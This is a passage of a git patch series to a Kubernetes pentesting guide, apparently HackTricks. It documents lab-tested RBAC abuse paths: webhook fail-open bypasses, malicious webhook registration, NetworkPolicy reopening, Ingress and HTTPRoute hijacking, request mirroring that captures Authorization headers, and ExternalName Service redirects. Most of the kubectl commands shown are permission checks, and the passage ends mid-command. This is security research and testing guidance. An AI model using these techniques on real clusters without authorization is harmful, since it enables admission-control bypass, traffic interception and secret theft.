deny-change-admit method produced these additional true positives on Ku - `patch validatingwebhookconfigurations` changed a broken security webhook from `failurePolicy: Fail` to `Ignore`; the identical Pod was admitted. - `delete mutatingwebhookconfigurations` removed a broken fail-closed webhook; the identical Pod was admitted. +Create-only webhook permissions are also exploitable when the API server can reach an attacker-controlled TLS endpoint. In a Kubernetes 1.37 Minikube test, an identity holding only `create mutatingwebhookconfigurations` registered a webhook which injected an init container into a later administrator-created Pod. Independently, `create validatingwebhookconfigurations` registered a webhook which received a later matching Secret's complete AdmissionReview, including its base64-encoded `data`. Identities without create were the negative controls and could not register either configuration. + +```bash +kubectl auth can-i create mutatingwebhookconfigurations.admissionregistration.k8s.io +kubectl auth can-i create validatingwebhookconfigurations.admissionregistration.k8s.io +``` + +The endpoint, trusted `caBundle`, matching rules, and a later matching request are prerequisites. A validating webhook observes objects but cannot mutate them; this Secret path is disclosure to the configured endpoint, not automatic cluster-admin. + +#### Authorizer match-condition grants + +Admission `matchConditions` may deliberately provide an RBAC-controlled break-glass path. This canonical condition was reproduced independently on a ValidatingAdmissionPolicy and a fail-closed validating webhook: + +```cel +!authorizer.group('admissionregistration.k8s.io').resource('validatingadmissionpolicies').name('protected-policy').check('breakglass').allowed() +``` + +Without the exact custom `breakglass` grant, the policy denied the test Pod and the unreachable fail-closed webhook blocked it. Granting that verb on the exact object made the match condition false, skipped that admission check, and the same identity class created the Pod. Arbitrary custom verbs are not privileged: the high-risk path exists only when readable live admission configuration references that exact group, resource, name, namespace (if present), and verb. + +#### ValidatingAdmissionPolicy parameter-object writes + +`paramKind` on a policy and `paramRef` on its enforcing binding turn the named parameter object into part of the authorization boundary. Three independent Kubernetes 1.37 tests produced deny-then-admit results: + +- `patch` on an existing named parameter changed its allowed value and admitted the formerly denied Pod (`update` has the same object-replacement impact). +- `delete` on an existing parameter admitted the Pod when the binding used `parameterNotFoundAction: Allow`. +- `create` name-squatted the binding's absent expected parameter when missing parameters used `Deny`, then supplied a permissive value. + +These results do not generalize to selector-based parameter references, non-enforcing bindings, validations that do not consume `params`, or deletion with `parameterNotFoundAction: Deny`. Admission configuration propagation is asynchronous: wait for the policy's `status.observedGeneration` and allow the binding to propagate before recording the negative control. + ```bash kubectl auth can-i patch validatingadmissionpolicies.admissionregistration.k8s.io kubectl auth can-i delete validatingadmissionpolicybindings.admissionregistration.k8s.io @@ -194,7 +223,7 @@ kubectl patch mutatingadmissionpolicybinding --type=merge \ -p='{"spec":{"policyName":""}}' ``` -All admission paths are conditional on a later API request matching the policy or webhook. They are not automatic cluster-admin, and another admission layer can still reject the request. Preserve a denied or benign negative control, change only the single authorized object, repeat an equivalent request, capture the injected container or admitted object, and restore the original configuration. Kyverno, Gatekeeper, parameter objects, and other controller-specific resources still require their own end-to-end proof. +All admission paths are conditional on a later API request matching the policy or webhook. They are not automatic cluster-admin, and another admission layer can still reject the request. Preserve a denied or benign negative control, change only the single authorized object, repeat an equivalent request, capture the injected container or admitted object, and restore the original configuration. Kyverno, Gatekeeper, and other controller-specific resources still require their own end-to-end proof. ### Abusing Kyverno and Gatekeeper VWC From c30036c745757f11bedef8479d1f1125e75e2597 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Mon, 7 Sep 2026 23:38:46 +0200 Subject: [PATCH 4/9] Document tested Kubernetes network and fail-open paths --- .../README.md | 4 +++- .../kubernetes-enumeration.md | 2 +- .../kubernetes-network-attacks.md | 4 +++- .../kubernetes-validatingwebhookconfiguration.md | 16 ++++++++++++++++ 4 files changed, 23 insertions(+), 3 deletions(-) diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index 81eac116f4..a8c9385527 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -35,7 +35,9 @@ Remember that you can get all the supported resources with `kubectl api-resource | Exact custom verb used by a canonical negated admission authorizer match condition | Make the condition false and skip the referenced policy or webhook check. | [Authorizer match-condition grants](../kubernetes-validatingwebhookconfiguration.md#authorizer-match-condition-grants) | | Exact create/patch/update/delete on a named ValidatingAdmissionPolicy parameter, only when the live binding makes that verb effective | Change the policy decision through its referenced parameter object. | [ValidatingAdmissionPolicy parameter-object writes](../kubernetes-validatingwebhookconfiguration.md#validatingadmissionpolicy-parameter-object-writes) | | Namespace create/update/patch | Leave a policy selector or enter an exempt scope and admit a previously denied request. | [Tested admission-control mutations](../kubernetes-validatingwebhookconfiguration.md#tested-admission-control-mutations) | -| NetworkPolicy update/patch/delete and ClusterTrustBundle update/patch | Reopen denied traffic or replace a CA projected into a running Pod. | [Policy and scheduling control objects](#policy-and-scheduling-control-objects) | +| NetworkPolicy create/update/patch/delete and ClusterTrustBundle update/patch | Add an allow rule, reopen denied traffic, or replace a CA projected into a running Pod. | [NetworkPolicy and admin policy layers](../kubernetes-network-attacks.md#networkpolicy-and-admin-policy-layers) | +| Exact delete of an existing Service used by a `failurePolicy: Ignore` webhook | Make the webhook unreachable so the blocked request fails open. | [Disrupting a fail-open webhook backend](../kubernetes-validatingwebhookconfiguration.md#disrupting-a-fail-open-webhook-backend) | +| Patch/update a Deployment `/scale` subresource when it is the proven sole ready backend of a `failurePolicy: Ignore` webhook | Scale the backend to zero and make the blocked request fail open. | [Disrupting a fail-open webhook backend](../kubernetes-validatingwebhookconfiguration.md#disrupting-a-fail-open-webhook-backend) | | Service or legacy Endpoints create/update/patch; EndpointSlice create/update/patch | Name-squat a missing Service or redirect a trusted Service name to an attacker-controlled backend. | [Kubernetes traffic-object writes](../kubernetes-network-attacks.md#kubernetes-traffic-object-writes) | | Pod or Service status update/patch | Mark an attacker backend ready or intercept a LoadBalancer ingress IP. | [Status-based traffic interception](../kubernetes-network-attacks.md#status-based-traffic-interception) | | Kubernetes 1.36+ constrained-impersonation identity and action grants | Combine `impersonate:` with a matching `impersonate-on::` to perform only the delegated request as another identity. | [Constrained impersonation](#constrained-impersonation) | diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md index e01a968c6b..19fd5f6313 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md @@ -53,7 +53,7 @@ If you don't know what is **RBAC**, **read this section**. ### K8sPEASS read-only permission enumeration -[K8sPEASS](https://github.com/peass-ng/CloudPEASS/blob/main/docs/K8sPEASS.md) enumerates effective permissions without issuing Kubernetes write, exec, attach, port-forward, proxy, token-minting, CSR, or dry-run write requests. It prefers self-review APIs, dynamically discovers API resources and subresources, confirms risky rules with exact access reviews, and can explain visible RBAC bindings and admission controls. From readable live admission configuration it also derives bounded exact checks for canonical authorizer break-glass grants and explicitly named ValidatingAdmissionPolicy parameter objects; these are raised only when the matching SSAR is allowed and the observed configuration makes the path effective. When broader APIs are denied, it falls back to a fixed set of exact permission checks covering credentials, workloads, traffic objects, status subresources, admission controls, and traditional or constrained impersonation. Local kubeconfig, in-cluster, and explicitly unverified token context still provide evidence to an identity with almost no cluster visibility. +[K8sPEASS](https://github.com/peass-ng/CloudPEASS/blob/main/docs/K8sPEASS.md) enumerates effective permissions without issuing Kubernetes write, exec, attach, port-forward, proxy, token-minting, CSR, or dry-run write requests. It prefers self-review APIs, dynamically discovers API resources and subresources, confirms risky rules with exact access reviews, and can explain visible RBAC bindings and admission controls. From readable live admission configuration it also derives bounded exact checks for canonical authorizer break-glass grants, explicitly named ValidatingAdmissionPolicy parameter objects, existing Services behind fail-open webhooks, and sole ready Deployment backends proven through EndpointSlice, Pod, and ReplicaSet ownership; these are raised only when the matching SSAR is allowed and the observed configuration makes the path effective. When broader APIs are denied, it falls back to a fixed set of exact permission checks covering credentials, workloads, traffic objects, status subresources, admission controls, and traditional or constrained impersonation. Local kubeconfig, in-cluster, and explicitly unverified token context still provide evidence to an identity with almost no cluster visibility. ```bash python3 K8sPEASS.py --context --namespace diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md index f98cb36fec..778f057054 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md @@ -129,7 +129,9 @@ kubectl get adminnetworkpolicy,baselineadminnetworkpolicy -A 2>/dev/null For bypass analysis, check whether the intended block is avoided through an allowed proxy, DNS or egress gateway, `hostNetwork` pod, node-local path, broad namespace or pod label selector, or a higher-precedence admin/global policy. Report the source pod labels, namespace labels, destination Service or EndpointSlice, CNI/policy implementation, deciding policy rule, and traffic proof. -In a disposable Calico lab, this sequence proved a NetworkPolicy patch true positive: the first request succeeded, the enforced policy blocked the same request, and changing its selector with a patch-only identity restored the original application response. +Create-only permission is sufficient to reopen traffic because ordinary Kubernetes NetworkPolicy allow rules are combined additively. This was reproduced on Kubernetes 1.37 with Calico: a connection timed out under an existing default-deny policy, an identity holding only `create networkpolicies` added a policy selecting the server with `ingress: - {}`, and the unchanged request succeeded. A no-permission identity was forbidden from creating the policy. AdminNetworkPolicy or CNI-specific tiered/global denies can still take precedence, so confirm the actual dataplane. + +In a separate disposable Calico test, this sequence proved a NetworkPolicy patch true positive: the first request succeeded, the enforced policy blocked the same request, and changing its selector with a patch-only identity restored the original application response. ```bash # Negative control before policy: returns the server marker. diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md index 702397f3f3..780c349ce7 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md @@ -172,6 +172,22 @@ Without the exact custom `breakglass` grant, the policy denied the test Pod and These results do not generalize to selector-based parameter references, non-enforcing bindings, validations that do not consume `params`, or deletion with `parameterNotFoundAction: Deny`. Admission configuration propagation is asynchronous: wait for the policy's `status.observedGeneration` and allow the binding to propagate before recording the negative control. +#### Disrupting a fail-open webhook backend + +Permissions over the objects serving a webhook can bypass admission without permission to edit the webhook configuration. Two independent Kubernetes 1.37 tests used a validating webhook that denied a labeled Pod and specified `failurePolicy: Ignore`: + +- An identity with only exact `delete services` access removed the existing Service named by `clientConfig.service`. The identical Pod was then admitted because the API server connection failure failed open. +- An identity with `get` plus `patch deployments/scale` on the sole backing Deployment scaled it to zero. After its only ready EndpointSlice Pod disappeared, the identical Pod was admitted. + +No-permission identities were forbidden from deleting the Service or changing the scale. These are conditional high-risk paths: confirm `failurePolicy: Ignore`, the exact Service reference, a currently reachable webhook, and an operation that the webhook actually blocks. For the scale path, also prove that every ready endpoint belongs through Pod and ReplicaSet owner UIDs to that one Deployment; another ready backend prevents the demonstrated outage. + +```bash +kubectl get validatingwebhookconfiguration -o yaml +kubectl get service,endpointslice,pod,replicaset,deployment -n +kubectl auth can-i delete service/ -n +kubectl auth can-i patch deployment/ --subresource=scale -n +``` + ```bash kubectl auth can-i patch validatingadmissionpolicies.admissionregistration.k8s.io kubectl auth can-i delete validatingadmissionpolicybindings.admissionregistration.k8s.io From 347d9cb0af60ffd8d2766e55d432f23132c9dcaf Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Tue, 8 Sep 2026 00:24:01 +0200 Subject: [PATCH 5/9] Document tested Kubernetes ingress and webhook disruption paths --- .../README.md | 2 ++ .../kubernetes-network-attacks.md | 15 ++++++++++++++- .../kubernetes-validatingwebhookconfiguration.md | 4 +++- 3 files changed, 19 insertions(+), 2 deletions(-) diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index a8c9385527..7c8a3686bb 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -38,6 +38,8 @@ Remember that you can get all the supported resources with `kubectl api-resource | NetworkPolicy create/update/patch/delete and ClusterTrustBundle update/patch | Add an allow rule, reopen denied traffic, or replace a CA projected into a running Pod. | [NetworkPolicy and admin policy layers](../kubernetes-network-attacks.md#networkpolicy-and-admin-policy-layers) | | Exact delete of an existing Service used by a `failurePolicy: Ignore` webhook | Make the webhook unreachable so the blocked request fails open. | [Disrupting a fail-open webhook backend](../kubernetes-validatingwebhookconfiguration.md#disrupting-a-fail-open-webhook-backend) | | Patch/update a Deployment `/scale` subresource when it is the proven sole ready backend of a `failurePolicy: Ignore` webhook | Scale the backend to zero and make the blocked request fail open. | [Disrupting a fail-open webhook backend](../kubernetes-validatingwebhookconfiguration.md#disrupting-a-fail-open-webhook-backend) | +| Exact delete of the proven sole ready Deployment behind a `failurePolicy: Ignore` webhook | Remove the backend and make the blocked request fail open. | [Disrupting a fail-open webhook backend](../kubernetes-validatingwebhookconfiguration.md#disrupting-a-fail-open-webhook-backend) | +| Ingress create/update/patch with an active accepting controller | Expose an internal Service or replace a trusted hostname/path backend. | [Ingress creation and route replacement](../kubernetes-network-attacks.md#ingress-creation-and-route-replacement) | | Service or legacy Endpoints create/update/patch; EndpointSlice create/update/patch | Name-squat a missing Service or redirect a trusted Service name to an attacker-controlled backend. | [Kubernetes traffic-object writes](../kubernetes-network-attacks.md#kubernetes-traffic-object-writes) | | Pod or Service status update/patch | Mark an attacker backend ready or intercept a LoadBalancer ingress IP. | [Status-based traffic interception](../kubernetes-network-attacks.md#status-based-traffic-interception) | | Kubernetes 1.36+ constrained-impersonation identity and action grants | Combine `impersonate:` with a matching `impersonate-on::` to perform only the delegated request as another identity. | [Constrained impersonation](#constrained-impersonation) | diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md index 778f057054..0fc45cbbf7 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md @@ -255,7 +255,20 @@ Core `create endpoints` was separately reproduced against a selectorless Service For a selectorless Service, inspect both the Service and its EndpointSlices and verify the address family, port name/protocol, `kubernetes.io/service-name` label, readiness conditions, and whether the endpoint points to a Pod, node, external IP, or loopback/link-local address. The API server rejects some forbidden proxy targets, but direct clients and controllers may have different trust boundaries.[[13]](#references)[[14]](#references) -Always preserve before/after evidence: the effective endpoints (`kubectl get endpointslice -l kubernetes.io/service-name= -o yaml`), controller status/Events, and an application-layer response. A successful API write without a changed request is only a permission primitive. Treat Ingress, Gateway API, OpenShift Route, and service-mesh objects as controller-specific until that exact controller accepts the object and traffic demonstrably changes. +#### Ingress creation and route replacement + +Ingress create and patch were independently reproduced on Kubernetes 1.37 with the live ingress-nginx controller. Before creation, a request using the chosen Host header returned the controller's default 404. An identity with only `create ingresses` added a route to an existing internal Service; the unchanged request then returned that Service's marker. Separately, an existing trusted host initially returned `TRUSTED`; an identity with only `get` and exact `patch ingresses` changed its backend Service, and the same host returned the internal target's marker. A no-write identity was forbidden from both operations. + +```bash +kubectl get ingressclass +kubectl auth can-i create ingresses.networking.k8s.io -n +kubectl auth can-i patch ingress/ -n +kubectl get ingress -n -o yaml +``` + +These paths require an active controller that accepts the selected `ingressClassName`; creating a stored object without observed traffic change is not proof. Controller-specific annotations can add further impact, but must be tested against that exact controller and version. + +Always preserve before/after evidence: the effective endpoints (`kubectl get endpointslice -l kubernetes.io/service-name= -o yaml`), controller status/Events, and an application-layer response. A successful API write without a changed request is only a permission primitive. Treat Gateway API, OpenShift Route, service-mesh objects, and untested Ingress controllers as controller-specific until that exact controller accepts the object and traffic demonstrably changes. ### Status-based traffic interception diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md index 780c349ce7..0a11b180d4 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md @@ -178,14 +178,16 @@ Permissions over the objects serving a webhook can bypass admission without perm - An identity with only exact `delete services` access removed the existing Service named by `clientConfig.service`. The identical Pod was then admitted because the API server connection failure failed open. - An identity with `get` plus `patch deployments/scale` on the sole backing Deployment scaled it to zero. After its only ready EndpointSlice Pod disappeared, the identical Pod was admitted. +- An identity with only exact `delete deployments` access deleted that same sole backend. After cascading deletion removed its Pod, the identical request was admitted. -No-permission identities were forbidden from deleting the Service or changing the scale. These are conditional high-risk paths: confirm `failurePolicy: Ignore`, the exact Service reference, a currently reachable webhook, and an operation that the webhook actually blocks. For the scale path, also prove that every ready endpoint belongs through Pod and ReplicaSet owner UIDs to that one Deployment; another ready backend prevents the demonstrated outage. +No-permission identities were forbidden from deleting the Service, changing the scale, or deleting the Deployment. These are conditional high-risk paths: confirm `failurePolicy: Ignore`, the exact Service reference, a currently reachable webhook, and an operation that the webhook actually blocks. For the Deployment paths, also prove that every ready endpoint belongs through Pod and ReplicaSet owner UIDs to that one Deployment; another ready backend prevents the demonstrated outage. ```bash kubectl get validatingwebhookconfiguration -o yaml kubectl get service,endpointslice,pod,replicaset,deployment -n kubectl auth can-i delete service/ -n kubectl auth can-i patch deployment/ --subresource=scale -n +kubectl auth can-i delete deployment/ -n ``` ```bash From f75885014c52bd1b2954d7fca3b0add78aa5df94 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Tue, 8 Sep 2026 00:41:02 +0200 Subject: [PATCH 6/9] Document tested Gateway API HTTPRoute attack paths --- .../README.md | 1 + .../kubernetes-network-attacks.md | 21 ++++++++++++++++++- 2 files changed, 21 insertions(+), 1 deletion(-) diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index 7c8a3686bb..e8e1b642b7 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -40,6 +40,7 @@ Remember that you can get all the supported resources with `kubectl api-resource | Patch/update a Deployment `/scale` subresource when it is the proven sole ready backend of a `failurePolicy: Ignore` webhook | Scale the backend to zero and make the blocked request fail open. | [Disrupting a fail-open webhook backend](../kubernetes-validatingwebhookconfiguration.md#disrupting-a-fail-open-webhook-backend) | | Exact delete of the proven sole ready Deployment behind a `failurePolicy: Ignore` webhook | Remove the backend and make the blocked request fail open. | [Disrupting a fail-open webhook backend](../kubernetes-validatingwebhookconfiguration.md#disrupting-a-fail-open-webhook-backend) | | Ingress create/update/patch with an active accepting controller | Expose an internal Service or replace a trusted hostname/path backend. | [Ingress creation and route replacement](../kubernetes-network-attacks.md#ingress-creation-and-route-replacement) | +| Gateway API HTTPRoute create/update/patch with an accepted attachment | Expose an internal Service, replace a trusted route, or silently mirror requests and authorization headers. | [Gateway API HTTPRoute exposure, replacement, and mirroring](../kubernetes-network-attacks.md#gateway-api-httproute-exposure-replacement-and-mirroring) | | Service or legacy Endpoints create/update/patch; EndpointSlice create/update/patch | Name-squat a missing Service or redirect a trusted Service name to an attacker-controlled backend. | [Kubernetes traffic-object writes](../kubernetes-network-attacks.md#kubernetes-traffic-object-writes) | | Pod or Service status update/patch | Mark an attacker backend ready or intercept a LoadBalancer ingress IP. | [Status-based traffic interception](../kubernetes-network-attacks.md#status-based-traffic-interception) | | Kubernetes 1.36+ constrained-impersonation identity and action grants | Combine `impersonate:` with a matching `impersonate-on::` to perform only the delegated request as another identity. | [Constrained impersonation](#constrained-impersonation) | diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md index 0fc45cbbf7..5dcd17dd36 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md @@ -268,7 +268,24 @@ kubectl get ingress -n -o yaml These paths require an active controller that accepts the selected `ingressClassName`; creating a stored object without observed traffic change is not proof. Controller-specific annotations can add further impact, but must be tested against that exact controller and version. -Always preserve before/after evidence: the effective endpoints (`kubectl get endpointslice -l kubernetes.io/service-name= -o yaml`), controller status/Events, and an application-layer response. A successful API write without a changed request is only a permission primitive. Treat Gateway API, OpenShift Route, service-mesh objects, and untested Ingress controllers as controller-specific until that exact controller accepts the object and traffic demonstrably changes. +#### Gateway API HTTPRoute exposure, replacement, and mirroring + +Gateway API `HTTPRoute` create and patch were reproduced against Envoy Gateway on Kubernetes 1.37. The existing Gateway allowed same-namespace routes.[[15]](#references)[[16]](#references) + +- Before route creation, the new Host header returned 404. A create-only identity attached an HTTPRoute to the Gateway and routed that hostname to an existing internal Service; the identical request then returned the internal marker. +- An accepted trusted route initially returned the trusted backend marker. An identity with only exact `get` and `patch httproutes` changed `backendRefs`, after which the same hostname returned the internal Service marker. +- The same patch-only identity restored the trusted backend and added a `RequestMirror` filter. The client still received the trusted response, while the mirror backend captured the controlled `Authorization: Bearer GATEWAY_MIRROR_SECRET_TRUE_POSITIVE` header. + +No-write identities were forbidden from both create and patch. Confirm the route's `Accepted=True` and `ResolvedRefs=True` parent conditions, because a stored route is harmless when the parent Gateway rejects its namespace, hostname, section, or backend references. + +```bash +kubectl get gatewayclass,gateway,httproute -A +kubectl auth can-i create httproutes.gateway.networking.k8s.io -n +kubectl auth can-i patch httproute/ -n +kubectl get httproute -n -o yaml +``` + +Always preserve before/after evidence: the effective endpoints (`kubectl get endpointslice -l kubernetes.io/service-name= -o yaml`), controller status/Events, and an application-layer response. A successful API write without a changed request is only a permission primitive. Treat untested Gateway API route kinds/controllers, OpenShift Route, service-mesh objects, and untested Ingress controllers as controller-specific until that exact controller accepts the object and traffic demonstrably changes. ### Status-based traffic interception @@ -513,5 +530,7 @@ It will install agents in the selected pods and gather their traffic information - [12] [DNS for Services and Pods | Kubernetes](https://kubernetes.io/docs/concepts/services-networking/dns-pod-service/) - [13] [Services without selectors | Kubernetes](https://kubernetes.io/docs/concepts/services-networking/service/#services-without-selectors) - [14] [EndpointSlices | Kubernetes](https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/) +- [15] [HTTPRoute | Kubernetes Gateway API](https://gateway-api.sigs.k8s.io/reference/api-types/httproute/) +- [16] [Envoy Gateway quickstart](https://gateway.envoyproxy.io/latest/tasks/quickstart/) {{#include ../../banners/hacktricks-training.md}} From 43be8aa19b7d627d78bb0dd11815d32af53c143f Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Tue, 8 Sep 2026 00:49:11 +0200 Subject: [PATCH 7/9] Limit route table to tested verbs --- .../abusing-roles-clusterroles-in-kubernetes/README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index e8e1b642b7..cfc33b091c 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -39,8 +39,8 @@ Remember that you can get all the supported resources with `kubectl api-resource | Exact delete of an existing Service used by a `failurePolicy: Ignore` webhook | Make the webhook unreachable so the blocked request fails open. | [Disrupting a fail-open webhook backend](../kubernetes-validatingwebhookconfiguration.md#disrupting-a-fail-open-webhook-backend) | | Patch/update a Deployment `/scale` subresource when it is the proven sole ready backend of a `failurePolicy: Ignore` webhook | Scale the backend to zero and make the blocked request fail open. | [Disrupting a fail-open webhook backend](../kubernetes-validatingwebhookconfiguration.md#disrupting-a-fail-open-webhook-backend) | | Exact delete of the proven sole ready Deployment behind a `failurePolicy: Ignore` webhook | Remove the backend and make the blocked request fail open. | [Disrupting a fail-open webhook backend](../kubernetes-validatingwebhookconfiguration.md#disrupting-a-fail-open-webhook-backend) | -| Ingress create/update/patch with an active accepting controller | Expose an internal Service or replace a trusted hostname/path backend. | [Ingress creation and route replacement](../kubernetes-network-attacks.md#ingress-creation-and-route-replacement) | -| Gateway API HTTPRoute create/update/patch with an accepted attachment | Expose an internal Service, replace a trusted route, or silently mirror requests and authorization headers. | [Gateway API HTTPRoute exposure, replacement, and mirroring](../kubernetes-network-attacks.md#gateway-api-httproute-exposure-replacement-and-mirroring) | +| Ingress create/patch with an active accepting controller | Expose an internal Service or replace a trusted hostname/path backend. | [Ingress creation and route replacement](../kubernetes-network-attacks.md#ingress-creation-and-route-replacement) | +| Gateway API HTTPRoute create/patch with an accepted attachment | Expose an internal Service, replace a trusted route, or silently mirror requests and authorization headers. | [Gateway API HTTPRoute exposure, replacement, and mirroring](../kubernetes-network-attacks.md#gateway-api-httproute-exposure-replacement-and-mirroring) | | Service or legacy Endpoints create/update/patch; EndpointSlice create/update/patch | Name-squat a missing Service or redirect a trusted Service name to an attacker-controlled backend. | [Kubernetes traffic-object writes](../kubernetes-network-attacks.md#kubernetes-traffic-object-writes) | | Pod or Service status update/patch | Mark an attacker backend ready or intercept a LoadBalancer ingress IP. | [Status-based traffic interception](../kubernetes-network-attacks.md#status-based-traffic-interception) | | Kubernetes 1.36+ constrained-impersonation identity and action grants | Combine `impersonate:` with a matching `impersonate-on::` to perform only the delegated request as another identity. | [Constrained impersonation](#constrained-impersonation) | From d7153aacd28fedd521edcd09698edfb0a3b5d0be Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Tue, 8 Sep 2026 00:59:24 +0200 Subject: [PATCH 8/9] Document tested ExternalName traffic hijack --- .../README.md | 2 +- .../kubernetes-network-attacks.md | 20 ++++++++++++++++++- 2 files changed, 20 insertions(+), 2 deletions(-) diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index cfc33b091c..722bc4d848 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -41,7 +41,7 @@ Remember that you can get all the supported resources with `kubectl api-resource | Exact delete of the proven sole ready Deployment behind a `failurePolicy: Ignore` webhook | Remove the backend and make the blocked request fail open. | [Disrupting a fail-open webhook backend](../kubernetes-validatingwebhookconfiguration.md#disrupting-a-fail-open-webhook-backend) | | Ingress create/patch with an active accepting controller | Expose an internal Service or replace a trusted hostname/path backend. | [Ingress creation and route replacement](../kubernetes-network-attacks.md#ingress-creation-and-route-replacement) | | Gateway API HTTPRoute create/patch with an accepted attachment | Expose an internal Service, replace a trusted route, or silently mirror requests and authorization headers. | [Gateway API HTTPRoute exposure, replacement, and mirroring](../kubernetes-network-attacks.md#gateway-api-httproute-exposure-replacement-and-mirroring) | -| Service or legacy Endpoints create/update/patch; EndpointSlice create/update/patch | Name-squat a missing Service or redirect a trusted Service name to an attacker-controlled backend. | [Kubernetes traffic-object writes](../kubernetes-network-attacks.md#kubernetes-traffic-object-writes) | +| Service or legacy Endpoints create/update/patch; EndpointSlice create/update/patch | Name-squat a missing Service or redirect a trusted Service name to an attacker-controlled backend, including through an ExternalName DNS alias. | [Kubernetes traffic-object writes](../kubernetes-network-attacks.md#kubernetes-traffic-object-writes) | | Pod or Service status update/patch | Mark an attacker backend ready or intercept a LoadBalancer ingress IP. | [Status-based traffic interception](../kubernetes-network-attacks.md#status-based-traffic-interception) | | Kubernetes 1.36+ constrained-impersonation identity and action grants | Combine `impersonate:` with a matching `impersonate-on::` to perform only the delegated request as another identity. | [Constrained impersonation](#constrained-impersonation) | | PersistentVolume create | Mount a Node `hostPath` into a workload when PVC and Pod permissions complete the chain. | [Storage control objects](#storage-control-objects) | diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md index 5dcd17dd36..0d83f1d0de 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md @@ -164,9 +164,10 @@ Run all three checks from the same client Pod and record the active CNI. A store ### Kubernetes traffic-object writes -Write access to core traffic objects can redirect a trusted name without modifying the victim workload. The two paths below were reproduced against live backends: +Write access to core traffic objects can redirect a trusted name without modifying the victim workload. The paths below were reproduced against live backends: - Changing a Service selector makes its controller select a different set of Pods. +- Patching a ClusterIP Service into an ExternalName DNS alias makes clients resolve the trusted Service name to a different Service or DNS target. - For a selectorless Service, changing an EndpointSlice controls its backends. EndpointSlices managed for a selector-based Service are reconciled by the controller, so direct edits may be replaced.[[13]](#references)[[14]](#references) - Create-only permission can name-squat an expected but absent Service, legacy Endpoints object, or EndpointSlice. @@ -190,6 +191,22 @@ kubectl run traffic-check --rm -i --restart=Never --image=curlimages/curl -- \ -sS http://trusted-api ``` +#### Service ExternalName redirect + +An exact `get,patch services/victim` grant was also reproduced on Kubernetes 1.37. The original ClusterIP Service returned `TRUSTED_SERVICE_BASELINE`. A get-only negative-control identity received `Forbidden` on the same patch. The patch-capable identity then converted that Service into an ExternalName alias for an attacker Service:[[17]](#references) + +```bash +kubectl auth can-i patch services/victim -n +kubectl get service victim -n \ + -o 